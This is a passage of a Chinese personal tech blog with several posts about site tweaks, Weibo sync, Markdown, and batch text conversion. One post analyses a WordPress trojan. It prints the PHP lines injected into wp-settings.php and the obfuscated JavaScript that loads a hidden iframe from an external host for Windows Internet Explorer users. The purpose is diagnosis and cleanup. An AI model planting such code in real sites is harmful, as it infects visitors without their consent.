Categories
网站建设

[落园]微调

虽然还是没有换主题(貌似大家已经习惯这个了……),但还是进行了一些微调。

1. 重写了“关于我”的页面。以前那个太乱了,我实在是看不下去了。现在纯文字,应该稍稍好一些了?
2. 移去了header上的“链接推荐”,本来里面也没啥东西了(搬家的后果,嗯哼~)。就右边那些链接好了,嘻嘻。现在blog都没落了,根本没人提什么交换链接了,全奔着weibo去了……

下一步动手清理更多跟“优雅”冲突的东西。Stay elegant.

Categories
Wordpress

wordpress同步到微博的小提醒

以前落园在用的WP插件:WP-Tsina貌似授权失效了(就这几天的事儿吧,已经在新浪的app平台上搜不到它了),所以一直也就没法同步了。无奈之下,研究了一下sina那边可以用的应用,选了一个叫做WordPress连接微博的插件。花里胡哨的样子其实我不是很喜欢,但是也没有别的更好的选择了,就这样吧。

希望sina不要关闭Ouath授权,现在开放平台上只能找到Ouath2的文档了,害得我开始还很单纯的以为只是API接口的改变、试图去换接口地址呢(后来发现是WP-Tsina的ID已经消失了,哎)。

现在落园可以正常的同步到微博了,还算是唯一值得庆幸的事儿吧。微博一步步收紧之后,不知道还有什么进一步的限制呢?别真的非实名制不能发言啊!
微博

Categories
网站建设

初识Markdown语法

听着Yihui兄及COS的一群骨干们说了好久的MD(markdown)和knitr,各种心里痒痒啊。无奈最近的一段时间总觉得学习新东西的成本太高,就懒得开始动手。今天忍不住去GitHub上看了一眼,发觉自己已然没有任何理由再不快点把那个小册子弄完了,于是乎,赶紧补课。

补课的第一项工作就是升级各类软件,包括R、RStudio和Git。悄悄的说一句,现在的Git版本貌似比以前的容易用多了,我是对Github的使用没有任何印象了,重新跟着help鼓捣了一遍发现还是不怎么困难的。在一不小心删掉所有的文件之后,成功的fetch并push了所有的文件(还好有下载zip备份)。

然后下一站就是开始研究Markdown语法……好吧,这东西真的比HTML还简单啊(一直认为HTML已经是超级简洁了)。随便从网路上搜了一个语法说明(http://markdown.tw/),然后就可以开始玩转这东西了——真的很符合日常排版习惯啊!引用这个网页上的一句话:

HTML 是一種發佈的格式,Markdown 是一種編寫的格式。

习惯了Wordpress编辑器HTML模式的人,大概会对Markdown瞬间上手吧。完全米有难度……而且,符合习惯代码洁癖的人……

好吧,我怎么开始研究起这些东西来了?不是说好不玩这些geek的东西么?还是各种忍不住啊……下一个牺牲的应该不会是落园的wordpress架构吧,暂时我还不想动它,搬日志什么的很麻烦的……

Categories
Wordpress

wordpress之手动查木马侵入

最近两个blog都不消停,总有木马嵌入的报告。是可忍孰不可忍,在今早收到google Webmaster的通知之后,决定彻底的查一下这个感染的原因。

登上FTP,看到wp-settings.php这个文件更新日期和其他的都不一样,就下下他来。然后和标准的安装包自带的wp-settings.php进行比对,果然发现多了这么几行:
function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
}
}
add_action('wp_head', 'check_wordpress');

遂加了一行echo $t_d. '/wp_inc' ;,华丽丽的发现输出了一个/tmp。这个时候访问blog并查看源文件,发现有一行代码被嵌入:
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('i 9(){a=6.h('b');7(!a){5 0=6.j('k');6.g.l(0);0.n='b';0.4.d='8';0.4.c='8';0.4.e='f';0.m='w://z.o.B/C.D?t=E'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|hggf|navigator|ai|showthread|php|72241732'.split('|'),0,{})) // ]]>
这就是一切祸首的来源!

总结一下,这个木马的入侵模式为:修改wp-settings.php文件,然后调用系统临时文件夹/tmp下的wp_inc文件,然后嵌入到网站的里面,实现JS入侵

最简单的屏蔽办法自然是覆盖wp-settings.php文件,然后这行代码的嵌入果然消失了,网站也就没问题了。然而最大的问题则是,服务器已经被感染了,他会不断的重写wp-settings.php文件,而且就算我把文件的权限设为600(只读)而不是644也无济于事。这下子,我也不知道应该怎么办了……看了一下google的report,貌似整个服务器上有很多网站都中招了,汗。

Of the 168165 site(s) we tested on this network over the past 90 days, 4491 site(s) served content that resulted in malicious software being downloaded and installed without user consent.

莫非要换服务器了?……又是一年搬家时?
p.s. 发现自己向着下列目标在不懈努力:

上得了厅堂,下得了厨房,写得了代码,查得出异常,杀得了木马,翻得了围墙,开得起好车,买得起新房,斗得过二奶,打得过流氓.

Categories
日常应用

批量多个文件GB转UTF-8编码、批量合并多个文件

这里更多是一种记录了。

最近遇到两个小问题,批量把GB转成UTF-8,因为R里面就算用en.US-UTF8也是不能直接读GB编码的中文文本文件的。所以需要一个转换。由于手头几百个文件,不可能一一打开notepad++之类的文本编辑器然后另存为,于是就开始搜。果然,神奇的软件哪里都有,一搜救有华军软件园的一个小软件:http://www.onlinedown.net/soft/46844.htm。打开之后很方便~只可惜是windows下的,我还得切出ubuntu来回到windows。

同样的还有一件事儿要依赖windows,那就是在读入R之前,我需要批量合并多个文本文件。这个时候就要靠命令行了。键入CMD之后,一路cd进入需要操作的文件夹。然后一个神奇的命令:

copy *.txt target.txt

就可以看到命令行华丽丽的搞定了!真速度啊,赞一个。

就在此记录一下,整理数据会有各种各样稀奇古怪的需求,能在R之外做的也有很多(本来我是在ubuntu下ls所有文件名,然后想用for循环在R里面依次读入并rbind的)。当然相比于命令行的原生操作,还是速度慢一些。所以,各种武器齐上马,就看哪个利索了。不同于以往在学校里接触好的数据,格式都弄好了,业界的数据格式千奇百怪。所以涉及到数据格式的修改,感觉真的离不开R里面的merge、reshape等基础命令。话说还发现一个R包data.table,可以用来做分组求和等很多基于table的工作,大赞一个!